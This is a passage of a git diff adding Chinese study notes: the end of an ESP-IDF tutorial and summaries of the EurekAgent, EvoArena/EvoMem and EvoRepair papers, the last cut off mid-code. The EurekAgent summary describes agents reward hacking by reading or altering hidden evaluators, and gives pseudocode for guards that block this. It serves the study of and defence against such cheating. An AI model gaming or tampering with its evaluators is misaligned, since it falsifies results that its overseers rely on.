+产品固件几乎总会 `nvs_flash_init()`；首次擦除或布局变更时要处理 `ESP_ERR_NVS_NO_FREE_PAGES`。
+
+## 核心概念六：网络与事件循环
+
+ESP-IDF v4.1+ 推荐 **默认事件循环**（`esp_event`）+ **esp_netif** 抽象：
+
+- Wi-Fi 驱动产生 `WIFI_EVENT` / `IP_EVENT`
+- 应用在 `app_main` 里 `esp_event_handler_register` 处理「拿到 IP 后再起 MQTT」
+
+这比在回调里写一大坨逻辑更清晰，也便于单元测试时替换 handler。
+
+常用协议组件（均带官方示例）：HTTP Server/Client、MQTT、mDNS、Modbus、WebSocket、HTTPS OTA。
+
+## 与 Arduino-ESP32 怎么选
+
+| 维度 | Arduino-ESP32 | ESP-IDF |
+|------|---------------|---------|
+| 上手曲线 | 低，`setup()`/`loop()` | 中，需理解组件与 menuconfig |
+| 抽象层级 | 高 | 中低，贴近寄存器与驱动 |
+| 二进制体积 / 可控性 | 粗调 | 细调（关掉未用组件） |
+| 官方新特性 | 往往滞后 | 首发 |
+| 适合 | 原型、教学、小项目 | 量产、认证、安全启动、复杂连接 |
+
+许多团队原型用 Arduino，定型后迁到 IDF 或混合使用（Arduino 作为 IDF 组件编译）。
+
+## 安装与文档导航（2026 实践）
+
+乐鑫现推荐 **ESP-IDF Installation Manager（EIM）** 安装工具链 + CMake + Ninja + IDF 本体，支持 GUI 与 CLI（CI 友好）。IDE 侧常见组合：
+
+- **VS Code + ESP-IDF 扩展**（`idf.py` 图形按钮）
+- **Espressif-IDE**（基于 Eclipse CDT）
+
+文档站内建议零基础阅读顺序：
+
+1. [Get Started](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/get-started/index.html) — 装环境、跑 `hello_world`
+2. [Build System](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-guides/build-system.html) — 搞懂组件
+3. [API Reference](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/index.html) — 按外设/协议查阅
+4. `examples/` 目录 — 每个子目录是可编译的权威样例
+
+## 常见坑
+
+| 现象 | 可能原因 | 处理 |
+|------|----------|------|
+| `idf.py` 找不到命令 | 未 `export.sh` / 扩展未配 IDF 路径 | 每终端 `source $IDF_PATH/export.sh` |
+| 烧录后不断 Guru Meditation | 栈溢出、看门狗、非法指针 | 增大任务栈；查 `esp_reset_reason` |
+| Wi-Fi 连不上 | 分区/NVS 旧数据、国家码、2.4G 信道 | `idf.py erase-flash` 后重烧；查 menuconfig Wi-Fi |
+| 换板子 GPIO 不对 | 引脚写死 | Kconfig 或 BSP；查 DevKit 原理图 |
+| 组件找不到 | 依赖未写进 `idf_component.yml` 或 `REQUIRES` | 检查 `CMakeLists.txt` |
+
+## 小结
+
+ESP-IDF 把「芯片 + RTOS + 网络 + 驱动 + 构建」收成**一套可配置的产品工厂**：`app_main` 是你的业务入口，`sdkconfig` 是功能开关表，组件是模块货架，`idf.py` 贯穿编译烧录全流程。零基础路径应是 **hello_world → blink/GPIO → menuconfig → 一个官方 example 改参数 → 自己拆 `main` 组件**；遇到 API 细节再查 Reference Manual，遇到任务/队列语义可对照 FreeRTOS 笔记。
+
+下一步若要写「能联网的固件」，建议直接 fork 官方 `examples/wifi/getting_started/station` 或 `examples/protocols/http_server/simple`，在拿到 IP 事件后再叠加自己的业务任务。
diff --git a/src/content/docs/papers/eureka-agent.md b/src/content/docs/papers/eureka-agent.md
new file mode 100644
index 000000000..af0e17cb5
--- /dev/null
+++ b/src/content/docs/papers/eureka-agent.md
@@ -0,0 +1,220 @@
+---
+title: EurekAgent — 环境工程才是自主科学发现的胜负手
+来源: 'Amy Xin et al., "EurekAgent: Agent Environment Engineering is All You Need For Autonomous Scientific Discovery", arXiv:2606.13662, 2026'
+日期: 2026-06-13
+子分类: 智能体
+分类: Agent
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+EurekAgent 是一个**用"环境工程"思路来做自主科学发现**的系统。日常类比：以前做科研自动化，像教练手把手教运动员每个动作怎么做（设计复杂的工作流）；EurekAgent 的思路是——给运动员一个好的训练场（设计环境），让她自己练出好成绩。
+
+论文的核心观点：**当通用编码 agent（如 Claude Code、Codex）越来越强之后，自主科学发现的瓶颈已经从"怎么指挥 agent"变成了"给 agent 什么环境"。** 就像培养一个优秀的博士生——关键不是每分钟告诉他做什么，而是给他靠谱的反馈、安全的实验条件、充足的预算，以及导师的监督。
+
+EurekAgent 只做四件事来"造环境"：
+
+1. **权限工程**：给 agent 工具，但锁住 evaluator（评分器），防止作弊
+2. **工件工程**：用文件系统 + Git 当共享记忆，记录每次尝试
+3. **预算工程**：控制时间和 API 花费，不让 agent 无限烧钱
+4. **人在回路**：提供 Web 监控和终端界面，人可以随时看和干预
+
+## 为什么重要
+
+不理解 EurekAgent，下面这些事都没法解释：
+
+- 为什么 Claude Code 和 Codex 作为通用 agent 就能跑出 SOTA，不需要专门的研究 agent 框架
+- 为什么"agent 作弊"（reward hacking）在科研自动化中如此常见——因为 evaluator 暴露给了 agent
+- 为什么以前的系统（AlphaEvolve、AIDE 等）工作流复杂却效果不如预期——它们把能力押在"设计完美流程"上，而不是"设计好环境"
+- 为什么用开源模型 GLM-5.1 加上好环境，能打败用闭源模型 + 复杂工作流的基线
+
+## 核心概念
+
+### 环境工程（Environment Engineering）
+
+受生态心理学启发——环境塑造行为的可能性。一个好的环境放大 productive 行为（自由探索、协作、准确反馈），抑制有害行为（作弊、篡改结果、过度依赖人工）。
+
+### 三阶段循环
+
+EurekAgent 不规定 agent 内部怎么做研究，只控制外层循环：
+
+```
+PREPARE → [ PROPOSE → { IMPLEMENT × P } ] × R
+```
+
+- **PREPARE**：准备环境，测一下评分器能不能用
+- **PROPOSE**：每轮开始，让一个 agent 提出多个研究方向（最多 P 个）
+- **IMPLEMENT**：每个方向启动一个独立 agent 并行实现，提交到隐藏评分器打分
+- 重复 R 轮，直到预算耗尽
+
+### 四个环境工程维度
+
+| 维度 | 给什么（放大） | 锁什么（抑制） |
+|---|---|---|
+| 权限 | Python 环境、Shell、网页搜索、浏览器、历史工件 | Docker 隔离、隐藏 evaluator、同轮隔离、GPU 锁 |
+| 工件 | 文件系统 + Git 历史、排名历史、搜索缓存 | 无（完全开放） |
+| 预算 | 时间检查 API、阶段超时警告、中断恢复 | API 成本上限硬截断 |
+| 人在回路 | Web 监控面板、终端交互框、分数演化图 | 不干预 agent 自主决策 |
+
+## 实践案例
+
+### 案例 1：三阶段循环的实际运行
+
+以 26 圆打包问题为例（在单位正方形里放 26 个不相交圆，最大化半径之和）：
+
+```
+Round 0 (PREPARE):
+  - agent 拿到题目描述 + 隐藏评分脚本
+  - 测试评分器能正常工作
+  - 写入准备摘要
+
+Round 1 (PROPOSE → IMPLEMENT):
+  PROPOSE: 提出 3 个方向
+    H1: 贪心放置大圆 → 小圆填空隙
+    H2: 随机初始化 + 梯度下降
+    H3: 借鉴已知的 AlphaEvolve 方法
+
+  IMPLEMENT (3 个 agent 并行):
+    Agent-H1: 提交 → 得分 2.51 → 迭代改进 → 最终 2.58
+    Agent-H2: 提交 → 得分 2.45 → 继续调参 → 最终 2.52
+    Agent-H3: 提交 → 得分 2.63 → 找到局部最优
+
+  系统自动排名 → 记录最佳解 2.63
+
+Round 2...R: 继续迭代，最终达到 2.635999（新 SOTA）
+```
+
+关键点：每个 IMPLEMENT agent 都看不到同轮其他 agent 的方案，只能参考之前的轮次。这防止了"所有人挤一条路"。
+
+### 案例 2：权限工程的代码实现
+
+EurekAgent 用 Docker 隔离 + 隐藏 evaluator + 文件 hook 来防作弊：
+
+```python
+# 伪代码：权限工程的核心机制
+
+class SecureEvaluator:
+    """隐藏评分器——agent 只能提交，不能窥探"""
+    def __init__(self, eval_script_path, test_data_path):
+        # evaluator 和测试数据放在 agent 看不到的地方
+        self.eval_script = eval_script_path  # 挂载在容器外
+        self.test_data = test_data_path      # 同上
+
+    def submit_and_score(self, solution_code):
+        # agent 提交代码，系统在不暴露源码的情况下打分
+        result = subprocess.run(
+            ["python", self.eval_script, solution_code],
+            capture_output=True,
+            # 关键：eval_script 的路径不在 agent 的文件系统中
+        )
+        return parse_score(result.stdout)
+
+class PermissionGuard:
+    """权限守卫——拦截 agent 对受保护文件的修改"""
+    BLOCKED_PATHS = [
+        "/.hidden/evaluator.py",     # 评分器源码
+        "/.hidden/test_data.json",   # 测试数据
+        "/.system/ranked_results",   # 系统生成的排名文件
+    ]
+
+    def on_file_write(self, path, content):
+        if path in self.BLOCKED_PATHS:
+            raise PermissionError(f"Blocked: {path}")
+        return True  # 允许写入自己的工件
+```
+
+### 案例 3：预算工程的运行控制
+
+```python
+# 伪代码：预算工程——时间和 API 成本双控
+
+class BudgetController:
+    def __init__(self, max_time_minutes, max_api_cost_usd):
+        self.start_time = time.time()
+        self.max_time = max_time_minutes * 60
+        self.max_cost = max_api_cost_usd
+        self.current_cost = 0.0
+
+    def check_time_budget(self, stage_name):
+        elapsed = time.time() - self.start_time
+        remaining = self.max_time - elapsed
+
+        if remaining < 300:  # 剩 5 分钟时发警告
+            return f"WARNING: {stage_name} 只剩 {remaining/60:.0f} 分钟，请停止探索并生成工件"
+        return None
+
+    def track_api_cost(self, tokens_used, price_per_token):
+        self.current_cost += tokens_used * price_per_token
+        if self.current_cost >= self.max_cost:
+            raise BudgetExhausted(
+                f"API 成本已达 ${self.current_cost:.2f}/${self.max_cost:.2f}"
+            )
+        # 注意：不把这个信息告诉 agent——agent 不应该知道还剩多少钱
+
+    def should_stop(self, stage_name):
+        time_msg = self.check_time_budget(stage_name)
+        if time_msg:
+            return True, time_msg
+        return False, None
+```
+
+### 案例 4：成绩对比——环境工程 vs 工作流工程
+
+| 任务 | EurekAgent (GLM-5.1) | 之前最佳 AI (闭源模型) | 差距 |
+|---|---|---|---|
+| 26 圆打包 | 2.635999 | 2.635986 (R1-Distill) | +0.005% |
+|  Erdos 最小重叠 | 0.380870 | 0.380876 (gpt-oss-120b) | -0.002% |
+| 一阶自相关不等式 | 1.502861 | 1.502863 (gpt-oss-120b) | -0.0001% |
+| TriMul 内核 | 2005.03 µs | 2247.78 µs (TTT-Discover) | -10.8% |
+| MLE-Bench 奖牌率 | 85.71% | 71.43% (Claude-Opus-4.6) | +14% |
+
+最震撼的数据：26 圆打包 SOTA 用了不到 **$11** 的 API 费用。
+
+## 踩过的坑
+
+1. **同轮隔离 vs 知识传递的平衡**：完全隔离 → agent 无法互相学习；完全不隔离 → 所有 agent 挤向同一个局部最优。EurekAgent 的解法是：可以看之前轮次的东西，但不能看同轮的。
+
+2. **预算硬截断的公平性问题**：一个 agent 跑到 119 分钟被强制终止，另一个跑了 120 分钟拿到更好分数——不公平。论文用"中断后保留 workspace + 允许人工续时"缓解。
+
+3. **隐藏 evaluator 的维护成本**：每个任务都要写一套 evaluator + 测试数据，而且要保证 agent 不能通过逆向工程猜出测试逻辑。这对 benchmark 设计提出了更高要求。
+
+4. **Web 搜索的噪声**：agent 用网页搜索发现别人的方案后直接采用再微调（如 R2 在 26 圆打包中发现了 AlphaEvolve 的公开方案），这算"研究"还是"抄作业"？论文认为这是环境工程的一部分——好的环境应该允许 agent 站在巨人肩膀上。
+
+## 适用 vs 不适用场景
+
+适用：
+
+- 有明确可优化指标的科研任务（数学优化、算法竞赛、ML 调参）
+- 想用通用 coding agent 做自动化研究，但不想写复杂工作流
+- 需要可追溯、可复现的研究过程
+- 预算有限（$10-$20 就能跑出不错的结果）
+
+不适用：
+
+- 没有可量化指标的开放式研究（如提出全新理论）
+- 需要大量人工判断"这个结果有没有意义"的任务
+- 实时性要求高的场景（每轮可能要 2 小时）
+
+## 学到什么
+
+- 自主科学发现的下一个瓶颈不是更强的模型，而是更好的环境设计
+- 权限工程是防止 agent 作弊的第一道防线——隐藏 evaluator + 文件 hook
+- 工件工程用 Git 做版本管理是最朴素但也最有效的方案
+- 预算工程不只是"限制花费"，更是"可控的探索节奏"
+- 环境工程的威力：用开源模型 + 好环境，能打败闭源模型 + 复杂工作流
+- 论文作者来自清华大学 + 智谱 AI，代码已开源
+
+## 延伸阅读
+
+- arXiv 2606.13662 — EurekAgent 原论文
+- [GitHub 仓库](https://github.com/THU-Team-Eureka/EurekAgent) — 开源代码和结果
+- AlphaEvolve (arXiv:2506.13131) — EurekAgent 对比的进化式 coding agent
+- ResearchClawBench (arXiv:2606.07591) — 通用 coding agent 的科研能力基准测试
+- MLE-Bench (ICLR 2025) — ML 工程 agent 基准评测
+
+## 关联
+
+- [[agent-r1-2511]] —— Agent-R1 从"训练流程"角度优化 agent，EurekAgent 从"环境"角度优化，两条路线互补
+- [[dspy]] —— DSPy 优化 prompt 流程，EurekAgent 说流程不重要，环境才重要
diff --git a/src/content/docs/papers/evidence-memorization.md b/src/content/docs/papers/evidence-memorization.md
new file mode 100644
index 000000000..86592c89a
--- /dev/null
+++ b/src/content/docs/papers/evidence-memorization.md
@@ -0,0 +1,290 @@
+---
+title: EvoArena — Tracking Memory Evolution for Robust LLM Agents in Dynamic Environments
+来源: https://arxiv.org/abs/2606.13681
+日期: 2026-06-13
+分类: 机器学习
+子分类: LLM记忆
+provenance: pipeline-v3
+---
+
+# EvoArena：在动态环境中追踪记忆演化的 LLM Agent
+
+## 0 为什么你需要读这篇
+
+假设你在一家公司做运维。第一天你写了一整套部署脚本，一切正常运行。
+三个月后，公司的安全策略改了：所有文件必须移到新目录，部署命令换了参数，权限规则收紧。
+你还用第一天的记忆去执行部署，就会处处碰壁。
+
+LLM Agent（用大模型做决策的智能体）目前也面临同样的问题。
+现有的评测基准（如 SWE-bench、GAIA、WebArena）几乎全是"静态快照"——环境一次性设定好，答案永远不变。
+但真实世界的环境会持续演化：API 会改版、用户偏好会变、代码库会迭代。
+EvoArena 这篇论文要回答的核心问题是：**Agent 能不能在环境持续变化的情况下依然保持可靠？**
+
+## 1 EvoArena：一个"演化竞技场"基准
+
+### 1.1 核心思想
+
+EvoArena 把每个评测环境变成一个**版本链**：同一个目标，但接口、规则、代码、偏好会随版本逐步变化。
+Agent 必须做到三点：
+
+- 解决当前版本的任务
+- 识别哪些更新影响了任务
+- 不要复用已经过时的旧行为
+
+### 1.2 三个子基准
+
+| 子基准 | 领域 | 什么在变 |
+|---|---|---|
+| Terminal-Bench-Evo | 终端工作流 | 依赖版本、CLI 参数、文件路径、权限规则 |
+| SWE-Chain-Evo | 软件工程 | 代码库的里程碑迭代 |
+| PersonaMem-Evo | 社交偏好 | 用户偏好随时间演化 |
+
+以 Terminal-Bench-Evo 为例：
+一个任务是"将 hello.html 推送到服务器并在 8080 端口提供服务"。
+这个最终目标在所有版本中保持不变，但每个版本会改变一个关键约束：
+
+- v1：直接部署到 /var/www
+- v2：部署路径改为 /srv/www
+- v3：需要额外的权限确认
+- v4：切换到 Git 分支策略
+
+Agent 如果只记住 v1 的路径，在 v2 就会失败。如果 v3 的权限覆盖了 v1 的旧规则，但 v1 的规则在其他场景仍然有效，Agent 也需要知道这一点。
+
+### 1.3 关键指标
+
+- **Step Accuracy**：每个版本化任务的平均正确率
+- **Chain Accuracy**：整个版本链中所有版本都必须答对才算通过
+
+当前最强的 Agent 在 EvoArena 上的平均准确率只有 **39.6%**，说明"静态时代"的 Agent 在面对演化环境时非常脆弱。
+
+## 2 核心问题：状态坍塌（State Collapse）
+
+### 2.1 什么是状态坍塌
+
+大多数现有的 Agent 记忆系统把记忆维护成**单一最新状态**。
+比如你记了一条记忆"部署路径是 /var/www"，后来环境变了变成 /srv/www，
+记忆系统就用新值**覆盖**旧值。旧的记忆彻底丢失。
+
+这就是"状态坍塌"——Agent 既丢失了旧行为，也丢失了**旧行为何时有效**的背景信息。
+
+类比：你的日记本上只保留今天的天气，昨天的记录被直接涂掉了。
+如果某天你想查"上周六为什么带了伞"，日记本里已经找不到答案。
+
+### 2.2 论文里的一个具体例子
+
+一条工作流权限更新可能会覆盖早期规则，但那条早期规则可能在另一个组织、另一个旧版本、或者未来回滚时仍然适用。
+传统的"最新即正确"策略在这里会失效。
+
+## 3 EvoMem：像 Git 一样管理记忆
+
+论文提出的核心解决方案叫 **EvoMem**，灵感来自 Git 的版本管理。
+
+### 3.1 核心概念：Patch（补丁）
+
+传统记忆系统是"覆盖式"更新：
+
+```
+记忆 = {部署路径: /var/www}
+       ↓ 环境更新后覆盖
+记忆 = {部署路径: /srv/www}   ← 旧值 /var/www 丢失
+```
+
+EvoMem 是"补丁式"更新，每次变化都追加一条记录：
+
+```
+记忆 = {部署路径: /var/www}
+
++ 补丁 #1:
+  之前: {部署路径: /var/www}
+  之后: {部署路径: /srv/www}
+  原因: 安全策略更新，部署目录统一迁移
+  证据: "部署路径应迁移至 /srv/www"
+
++ 补丁 #2:
+  之前: {需要权限: false}
+  之后: {需要权限: true}
+  原因: 新增权限校验要求
+  证据: "所有部署需经管理员审批"
+```
+
+每条补丁包含四个字段：
+
+1. **pre** — 更新前的状态
+2. **post** — 更新后的状态
+3. **rationale** — 为什么更新
+4. **evidence** — 触发的上下文证据
+
+### 3.2 关键特性
+
+- **只追加（Append-only）**：补丁一旦写入永不修改，保证可追溯
+- **版本感知检索**：默认检索最新状态；当查询涉及被覆盖的状态、冲突证据或旧版本时，主动检索相关补丁
+- **与 Agent 解耦**：EvoMem 可以集成到 Terminus2、OpenHands、Memento-Skill、A-Mem 等多种 Agent 框架中
+
+### 3.3 代码示例：EvoMem 的数据结构
+
+```python
+class Patch:
+    """一条记忆补丁 — 类似 Git commit"""
+    def __init__(self, patch_id, field, pre_value, post_value, rationale, evidence):
+        self.patch_id = patch_id       # 补丁编号
+        self.field = field             # 受影响的记忆字段
+        self.pre_value = pre_value     # 更新前的值
+        self.post_value = post_value   # 更新后的值
+        self.rationale = rationale     # 为什么更新
+        self.evidence = evidence       # 触发证据
+
+class EvoMem:
+    """EvoMem 记忆系统 — 像 Git 一样追踪记忆演化"""
+
+    def __init__(self):
+        self.patches = []              # 只追加的补丁历史
+        self.state = {}                # 当前最新状态（由补丁推导）
+        self.next_id = 1
+
+    def apply(self, field, post_value, rationale, evidence):
+        """应用一条记忆更新，生成补丁"""
+        pre_value = self.state.get(field)
+        if pre_value == post_value:
+            return  # 值没变，不生成补丁
+
+        patch = Patch(
+            patch_id=self.next_id,
+            field=field,
+            pre_value=pre_value,
+            post_value=post_value,
+            rationale=rationale,
+            evidence=evidence,
+        )
+        self.patches.append(patch)
+        self.state[field] = post_value
+        self.next_id += 1
+
+    def retrieve_patches_for(self, field):
+        """检索某个字段的所有演化补丁"""
+        return [p for p in self.patches if p.field == field]
+
+    def get_history(self):
+        """获取某字段的完整演化历史"""
+        patches = self.retrieve_patches_for("deployment_path")
+        history = []
+        for p in patches:
+            history.append({
+                "patch_id": p.patch_id,
+                "from": p.pre_value,
+                "to": p.post_value,
+                "why": p.rationale,
+            })
+        return history
+```
+
+### 3.4 代码示例：EvoMem 在 Agent 中的使用
+
+```python
+# === 第一轮：部署路径是 /var/www ===
+evomem = EvoMem()
+evomem.apply(
+    field="deployment_path",
+    post_value="/var/www",
+    rationale="初始部署配置",
+    evidence="任务要求将文件部署到 /var/www",
+)
+
+# 此时 agent 记忆状态: { "deployment_path": "/var/www" }
+
+# === 第二轮：安全策略更新，路径改为 /srv/www ===
+evomem.apply(
+    field="deployment_path",
+    post_value="/srv/www",
+    rationale="安全策略更新：部署目录统一迁移",
+    evidence="通知：所有部署路径应迁移至 /srv/www",
+)
+
+# 此时 agent 记忆状态: { "deployment_path": "/srv/www" }
+
+# === Agent 执行任务时 ===
+# 传统 Agent 只看到最新的 /srv/www — 丢失了之前的上下文
+# EvoMem Agent 可以检索完整历史：
+history = evomem.get_history()
+
+for entry in history:
+    print(f"补丁 #{entry['patch_id']}: {entry['from']} -> {entry['to']}")
+    print(f"  原因: {entry['why']}")
+
+# 输出:
+# 补丁 #1: None -> /var/www
+#   原因: 初始部署配置
+# 补丁 #2: /var/www -> /srv/www
+#   原因: 安全策略更新：部署目录统一迁移
+```
+
+### 3.5 检索策略
+
+EvoMem 在推理时有两种检索模式：
+
+1. **默认模式**：从最新状态检索（和普通记忆系统一样快）
+2. **增强模式**：当查询涉及被覆盖的状态、冲突证据、或需要理解演化脉络时，额外检索相关补丁
+
+这保证了 EvoMem 的额外开销很小——只在需要时才查"旧版本"。
+
+## 4 实验结果
+
+### 4.1 EvoArena 上的表现
+
+- 现有 Agent 平均准确率：**39.6%**
+- EvoMem 带来平均 **+1.5%** 的提升
+- 在 Chain Accuracy（整个版本链全部答对）上提升 **+3.7%**
+
+Chain Accuracy 的提升特别值得注意——说明 EvoMem 帮助 Agent 在处理一连串相关的演化子任务时表现更好。
+
+### 4.2 在传统基准上也有效
+
+EvoMem 不仅在 EvoArena 上有效，在标准长程 Agent 基准上也有提升：
+
+- **GAIA**：+6.1%
+- **LoCoMo**：+4.8%
+
+这表明 EvoMem 的记忆追溯能力对通用 Agent 任务都有帮助。
+
+### 4.3 机制分析
+
+论文做了机制分析，发现 EvoMem 有效的关键原因：
+
+- **PersonaMem-Evo**上，EvoMem 在"时间轨迹"和"多模式综合"问题上提升最大——这些任务需要记住分散在不同时间的偏好变化
+- **行级证据捕获**改善：补丁更好地保留了推理所需的完整状态信息
+- **Terminal-Bench-Evo**上，当检索到的过渡信息被实际用于执行时，EvoMem 效果最好
+
+## 5 关键对比：EvoArena vs 现有基准
+
+| 基准 | 什么在变 | 持久演化 | 隐性变化 | 链式评估 |
+|---|---|---|---|---|
+| SWE-bench | 静态问题 | ✗ | ✗ | ✗ |
+| GAIA | 静态任务 | ✗ | ✗ | ✗ |
+| GAIA2 | 异步事件 | △ | ✓ | ✗ |
+| HorizonBench | 偏好变化 | △ | ✓ | ✗ |
+| **EvoArena** | **动态环境** | **✓** | **✓** | **✓** |
+
+PE = Persistent Environment Evolution（持久环境演化）
+IC = Implicit Change（隐性变化）
+CE = Chain Evaluation（链式评估）
+
+EvoArena 是首个同时支持这三个特性的基准。
+
+## 6 一句话总结
+
+> 传统 Agent 记忆像一篇只保留当前版本的 Word 文档；EvoMem 把它变成了带完整版本历史的 Git 仓库。
+
+## 7 学习思考
+
+1. **Patch 的粒度**：论文没有明确定义"什么变化值得记为一条补丁"。如果每个微小的状态变化都记一条，补丁会不会膨胀？如何筛选有意义的变化？
+
+2. **与 RAG 的区别**：RAG 也是"检索额外信息"，但 RAG 检索的是外部知识库，EvoMem 检索的是记忆自身的演化历史。两者可以互补。
+
+3. **实际部署成本**：Append-only 意味着记忆数据随时间线性增长。长期运行的 Agent 是否需要定期"压缩"补丁历史？
+
+## 8 参考资料
+
+- arXiv: [2606.13681](https://arxiv.org/abs/2606.13681)
+- 项目页面: [https://aiden0526.github.io/EvoArena/](https://aiden0526.github.io/EvoArena/)
+- 代码: [https://github.com/Aiden0526/EvoArena](https://github.com/Aiden0526/EvoArena)
+- 数据集: [HuggingFace Collection](https://huggingface.co/collections/Aiden0526/evoarena)
+- 作者: Jundong Xu, Qingchuan Li, Zhiyuan Hu 等（新加坡国立大学等）
diff --git a/src/content/docs/papers/evorepair-vulnerability-repair-via-self-evolution-arxiv-2605-30105.md b/src/content/docs/papers/evorepair-vulnerability-repair-via-self-evolution-arxiv-2605-30105.md
new file mode 100644
index 000000000..ec3b59f69
--- /dev/null
+++ b/src/content/docs/papers/evorepair-vulnerability-repair-via-self-evolution-arxiv-2605-30105.md
@@ -0,0 +1,390 @@
+---
+title: EvoRepair — Vulnerability Repair via Self-Evolution
+来源: https://arxiv.org/abs/2605.30105
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# EvoRepair：基于自我进化的漏洞修复
+
+## 一、从日常类比说起
+
+想象你是一位修车师傅。
+
+- **没有经验积累的 AI**：每来一辆故障车，它都从头猜——换这个零件、试一下、不行、再换那个零件、还是不行……对每一辆车都是全新的" trial and error"。
+- **EvoRepair 的思路**：它像一个"会做笔记的老师傅"。每次修好一辆车，它会把**故障现象、排查思路、成功/失败的尝试、最终方案**写成一份结构化笔记存进"经验手册"。下一辆车来时，它先翻手册：「以前修过类似的，看看怎么处理的」——这就叫**经验检索**。修完之后再把新经验整理进手册——这就叫**经验构建**。手册越翻越厚，师傅越来越厉害——这就叫**自我进化**。
+
+这个类比的核心映射关系：
+
+| 日常世界 | 计算机系统 |
+|---|---|
+| 修车师傅 | LLM Agent（大语言模型代理） |
+| 故障车 | 安全漏洞（CVE） |
+| 经验手册 | 经验库（Experience Bank） |
+| 翻手册 | 经验检索（Experience Retrieval） |
+| 写新笔记 | 经验构建（Experience Construction） |
+| 师傅越来越强 | 自我进化（Self-Evolution） |
+
+## 二、为什么需要 EvoRepair
+
+2024 年全球报告了 **38,942** 个新 CVE（安全漏洞），同比增长 25%。漏洞越来越多，靠人工修复已经不够了。
+
+过去用 AI 修漏洞，有两个致命缺陷：
+
+**缺陷 1：同一个漏洞修不好，也不记住**
+
+一个漏洞可能需要 5-10 轮尝试才能修对。但传统 AI 每轮都是"重来"——上一轮踩过的坑，下一轮继续踩。
+
+**缺陷 2：修完一个漏洞，经验就丢了**
+
+修好 CVE-A 的经验，不能帮助修 CVE-B。即使两个漏洞类型相同（比如都是缓冲区溢出），AI 也会当成全新问题来处理。
+
+EvoRepair 要解决的就是这两个问题：**同一个漏洞内的经验积累**（intra-vulnerability）和**跨漏洞的经验复用**（cross-vulnerability）。
+
+## 三、核心概念：什么是"经验"
+
+EvoRepair 对"经验"有精确定义——不是原始的操作日志，而是**从修复过程中提炼出的结构化知识**。
+
+每条经验由 5 个维度构成：
+
+1. **漏洞介绍与分析**：漏洞类型、位置、复现步骤、根本原因
+2. **修复策略**：为什么选这个方案、预期效果、备选方案
+3. **路径分析**：哪些尝试成功了、哪些失败了、为什么
+4. **经验总结**：提炼成可复用的规则（适用条件 + 具体建议 + 代码示例）
+5. **反思与改进**：修复的不足之处、后续改进建议
+
+## 四、EvoRepair 的五个组件
+
+### 4.1 经验检索（Experience Retrieval）
+
+每次开始修一个新漏洞前，EvoRepair 先做两件事：
+
+1. **查自己**：这个漏洞以前修过吗？有就直接用
+2. **查别人**：从经验库中找相似的漏洞（通过 CVE/CWE 编号匹配），取前 K 条最相关的经验
+
+检索的排序公式：
+
+```
+综合得分 = μ × 相似度 + (1-μ) × 经验质量分
+```
+
+意思是：既要看"这个经验和问题有多像"，也要看"这个经验本身质量高不高"。
+
+### 4.2 漏洞修复（Vulnerability Repair）
+
+EvoRepair 用一个极简的"基础 Agent"来实际修漏洞。它只有：
+
+- **一个 Bash 工具箱**：能跑命令、能提交补丁
+- **一组技能**：理解漏洞、复现 PoC、定位漏洞、验证补丁
+- **一段记忆**：把检索到的历史经验加载进来
+- **一个上下文**：包括 CVE 描述、CWE 类型、修复指引
+
+Agent 按照 ReAct 范式在 Docker 环境中自主修复，直到修好或超出预算（最多 100 步或 $3）。
+
+### 4.3 经验构建（Experience Construction）
+
+修复完成后，EvoRepair 做三件事：
+
+1. **提炼经验**：把整个修复过程写成结构化笔记
+2. **压缩经验**：控制长度，避免上下文窗口爆炸
+3. **打分评估**：用 LLM 当裁判，从两个维度打分：
+
+```
+经验质量分 = λ × 实用性评分 + (1-λ) × 泛化性评分
+```
+
+- **实用性**：这条经验能不能帮别人修类似的漏洞
+- **泛化性**：这条经验能不能跨语言、跨数据集复用
+
+λ 设为 0.5，两个维度各占一半权重。
+
+### 4.4 经验更新（Experience Updating）
+
+经验库不是只进不出的。对同一个漏洞的多次修复尝试，EvoRepair 有三种策略：
+
+- **丢弃**：新经验分数低 → 保留旧的
+- **保留**：新经验分数高 → 替换旧的
+- **打磨**：分数一样 → 让 LLM 把两条融合成一条更好的
+
+### 4.5 经验迁移（Experience Transfer）
+
+这是 EvoRepair 最酷的能力之一。在 Python 项目上学到的经验，可以直接迁移到 Java、Go 项目上。论文在 VUL4J（Java 漏洞集）上做了交叉验证实验，证明经验确实可以跨语言复用。
+
+## 五、代码示例
+
+### 示例 1：经验检索的伪代码
+
+```python
+# 假设当前要修复 CVE-2020-8132
+# 第一步：从经验库检索相似经验
+
+def retrieve_experiences(target_cve, target_cwe, experience_bank, K=3):
+    """
+    检索经验：给当前漏洞找最相关的历史经验
+    """
+    # 1. 先查这个漏洞自己有没有历史经验
+    self_experiences = experience_bank.query_by_cve(target_cve)
+
+    # 2. 再查其他相似漏洞的经验
+    # 用 CWE 分类 + 语义相似度来匹配
+    all_candidates = experience_bank.query_by_cwe_similarity(
+        cwe=target_cwe,
+        top_m=10          # 先粗筛前 10 条
+    )
+
+    # 3. 综合排序：相似度 + 经验质量
+    ranked = []
+    for exp in all_candidates:
+        sim = compute_similarity(target_cve, exp['cve'], exp['text'])
+        score = exp['quality_score']  # 之前打分的结果
+        combined = 0.6 * sim + 0.4 * score  # μ=0.6
+        ranked.append((exp, combined))
+
+    # 4. 取前 K 条
+    ranked.sort(key=lambda x: x[1], reverse=True)
+    return [exp for exp, _ in ranked[:K]]
+
+# 实际使用
+experiences = retrieve_experiences(
+    target_cve="CVE-2020-8132",
+    target_cwe="CWE-78",  # 命令注入
+    experience_bank=experience_bank
+)
+
+# 把检索到的经验注入到 Agent 的上下文中
+for exp in experiences:
+    print(f"参考经验: {exp['title']}")
+    print(f"  修复策略: {exp['strategy']}")
+    print(f"  关键建议: {exp['summary']}")
+    print()
+```
+
+### 示例 2：经验构建的伪代码
+
+```python
+# 假设 Agent 已经修复了一个漏洞，现在要提炼经验
+
+def construct_experience(
+    vulnerability_id: str,
+    repair_trajectory: list,
+    success: bool,
+    judge_model: str = "Qwen3-Max"
+) -> dict:
+    """
+    从修复轨迹中提炼结构化经验
+    """
+    # 修复轨迹示例：
+    # [
+    #   {"action": "run_poc", "result": "vulnerable"},
+    #   {"action": "locate_code", "file": "server.js", "line": 42},
